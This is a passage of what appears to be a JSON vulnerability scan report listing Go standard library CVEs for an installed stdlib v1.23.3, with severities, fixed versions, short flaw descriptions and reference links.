"https://access.redhat.com/errata/RHSA-2026:56143", "https://access.redhat.com/errata/RHSA-2026:56223", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56431", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57541", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:59546", "https://access.redhat.com/errata/RHSA-2026:59549", "https://access.redhat.com/errata/RHSA-2026:59562", "https://access.redhat.com/errata/RHSA-2026:60315", "https://access.redhat.com/errata/RHSA-2026:60354", "https://access.redhat.com/errata/RHSA-2026:60387", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61245", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62549", "https://access.redhat.com/errata/RHSA-2026:63134", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65359", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65851", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:66016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66350", "https://access.redhat.com/errata/RHSA-2026:66432", "https://access.redhat.com/errata/RHSA-2026:67149", "https://access.redhat.com/errata/RHSA-2026:67159", "https://access.redhat.com/errata/RHSA-2026:67160", "https://access.redhat.com/errata/RHSA-2026:67287", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/security/cve/CVE-2026-39821", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/767220", "https://go.dev/issue/78760", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8", "https://linux.oracle.com/cve/CVE-2026-39821.html", "https://linux.oracle.com/errata/ELSA-2026-66432-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39821", "https://pkg.go.dev/vuln/GO-2026-5026", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39821.json", "https://ubuntu.com/security/notices/USN-8416-1", "https://ubuntu.com/security/notices/USN-8883-1", "https://ubuntu.com/security/notices/USN-8883-2", "https://ubuntu.com/security/notices/USN-8900-1", "https://ubuntu.com/security/notices/USN-8914-1", "https://www.cve.org/CVERecord?id=CVE-2026-39821" ], "PublishedDate": "2026-05-22T16:16:20.41Z", "LastModifiedDate": "2026-09-17T12:18:05.767Z" }, { "VulnerabilityID": "CVE-2026-39822", "VendorIDs": [ "GO-2026-4970" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.12, 1.26.5, 1.27.0-rc.2", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39822", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:f48c9d38b6849e8f421788ed540deaa6b34ff1094cb06eb2ed2eeef88be5e105", "Title": "golang: Go os.Root: Symlink following vulnerability allows directory traversal", "Description": "On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /. For example, 'root.Open(\"symlink/\")' will open \"symlink\" even when \"symlink\" is a symbolic link pointing outside of the root.", "Severity": "HIGH", "CweIDs": [ "CWE-61" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:38878", "https://access.redhat.com/security/cve/CVE-2026-39822", "https://bugzilla.redhat.com/2498152", "https://bugzilla.redhat.com/show_bug.cgi?id=2498152", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39822", "https://errata.almalinux.org/9/ALSA-2026-38878.html", "https://errata.rockylinux.org/RLSA-2026:38878", "https://github.com/golang/go/issues/79005", "https://go.dev/cl/797880", "https://go.dev/issue/79005", "https://groups.google.com/g/golang-announce/c/OrmQE_Yp5Sc", "https://linux.oracle.com/cve/CVE-2026-39822.html", "https://linux.oracle.com/errata/ELSA-2026-38995.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39822", "https://pkg.go.dev/vuln/GO-2026-4970", "https://www.cve.org/CVERecord?id=CVE-2026-39822" ], "PublishedDate": "2026-07-08T17:17:21.31Z", "LastModifiedDate": "2026-10-25T17:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-39836", "VendorIDs": [ "GO-2026-4971" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39836", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:91fe7966d925b3a8578f7d896347331697b60a201ee440d63937e35f474b0ae5", "Title": "net: golang: Go net package: Denial of Service via NUL byte in Dial and LookupPort on Windows", "Description": "The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0).", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/security/cve/CVE-2026-39836", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467810", "https://bugzilla.redhat.com/show_bug.cgi?id=2467811", "https://bugzilla.redhat.com/show_bug.cgi?id=2467813", "https://bugzilla.redhat.com/show_bug.cgi?id=2467815", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467823", "https://bugzilla.redhat.com/show_bug.cgi?id=2467825", "https://bugzilla.redhat.com/show_bug.cgi?id=2467826", "https://bugzilla.redhat.com/show_bug.cgi?id=2467827", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33814", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39819", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39825", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39836", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42501", "https://errata.almalinux.org/9/ALSA-2026-22121.html", "https://errata.rockylinux.org/RLSA-2026:22121", "https://go.dev/cl/775320", "https://go.dev/issue/79006", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-39836.html", "https://linux.oracle.com/errata/ELSA-2026-22121.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39836", "https://pkg.go.dev/vuln/GO-2026-4971", "https://www.cve.org/CVERecord?id=CVE-2026-39836" ], "PublishedDate": "2026-05-07T20:16:43.593Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-42499", "VendorIDs": [ "GO-2026-4977" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42499", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:475a3132cd5e998a98f476646db1472dc50fc2077f4b7def9a31ff55004107a9", "Title": "net/mail: golang: net/mail: Denial of Service via pathological email address parsing", "Description": "Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.", "Severity": "HIGH", "CweIDs": [ "CWE-1046" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:17713", "https://access.redhat.com/errata/RHSA-2026:17714", "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36754", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54552", "https://access.redhat.com/errata/RHSA-2026:54555", "https://access.redhat.com/errata/RHSA-2026:54583", "https://access.redhat.com/errata/RHSA-2026:54602", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56785", "https://access.redhat.com/errata/RHSA-2026:56789", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56854", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57487", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:57914", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59830", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:60023", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62260", "https://access.redhat.com/errata/RHSA-2026:62406", "https://access.redhat.com/errata/RHSA-2026:62407", "https://access.redhat.com/errata/RHSA-2026:62753", "https://access.redhat.com/errata/RHSA-2026:62754", "https://access.redhat.com/errata/RHSA-2026:62803", "https://access.redhat.com/errata/RHSA-2026:63022", "https://access.redhat.com/errata/RHSA-2026:63163", "https://access.redhat.com/errata/RHSA-2026:63332", "https://access.redhat.com/errata/RHSA-2026:63636", "https://access.redhat.com/errata/RHSA-2026:64818", "https://access.redhat.com/errata/RHSA-2026:65116", "https://access.redhat.com/errata/RHSA-2026:65117", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65335", "https://access.redhat.com/errata/RHSA-2026:65336", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65838", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:65895", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66327", "https://access.redhat.com/errata/RHSA-2026:67148", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:67974", "https://access.redhat.com/errata/RHSA-2026:67975", "https://access.redhat.com/errata/RHSA-2026:68334", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/errata/RHSA-2026:68527", "https://access.redhat.com/security/cve/CVE-2026-42499", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/771520", "https://go.dev/issue/78987", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-42499.html", "https://linux.oracle.com/errata/ELSA-2026-70201.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42499", "https://pkg.go.dev/vuln/GO-2026-4977", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42499.json", "https://www.cve.org/CVERecord?id=CVE-2026-42499" ], "PublishedDate": "2026-05-07T20:16:44.54Z", "LastModifiedDate": "2026-10-26T00:10:00.15Z" }, { "VulnerabilityID": "CVE-2026-42504", "VendorIDs": [ "GO-2026-5038" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.11, 1.26.4", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42504", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:39ecb965137555dbfe4dc5a1121944c061ca4ce8db2a4e1dd1ea04f0afc84624", "Title": "mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header", "Description": "Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/security/cve/CVE-2026-42504", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/774481", "https://go.dev/issue/79217", "https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw", "https://linux.oracle.com/cve/CVE-2026-42504.html", "https://linux.oracle.com/errata/ELSA-2026-69308.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42504", "https://pkg.go.dev/vuln/GO-2026-5038", "https://www.cve.org/CVERecord?id=CVE-2026-42504" ], "PublishedDate": "2026-06-02T23:16:37.927Z", "LastModifiedDate": "2026-07-22T19:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-56853", "VendorIDs": [ "GO-2026-6089" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56853", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:804b27cdb868b7fe615dabc254ab6ba86db9e274118cb550e46c4835a393a129", "Title": "net/http: golang: Go net/http: Unencrypted HTTP/2 connections vulnerable to Denial of Service", "Description": "When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56853", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/795540", "https://go.dev/issue/80205", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56853.html", "https://linux.oracle.com/errata/ELSA-2026-89752.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56853", "https://pkg.go.dev/vuln/GO-2026-6089", "https://www.cve.org/CVERecord?id=CVE-2026-56853" ], "PublishedDate": "2026-08-13T22:17:22.093Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56858", "VendorIDs": [ "GO-2026-6091" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56858", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:9309855436227504f1af5090c2b6c2abb7c2f5b0e99e55ad51298e83eb27a6fd", "Title": "html/template: golang: Go html/template: Cross-Site Scripting via pathological input", "Description": "Previously, pathological inputs could close an unescaped '/' early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS.", "Severity": "HIGH", "CweIDs": [ "CWE-79" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "V3Score": 6.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", 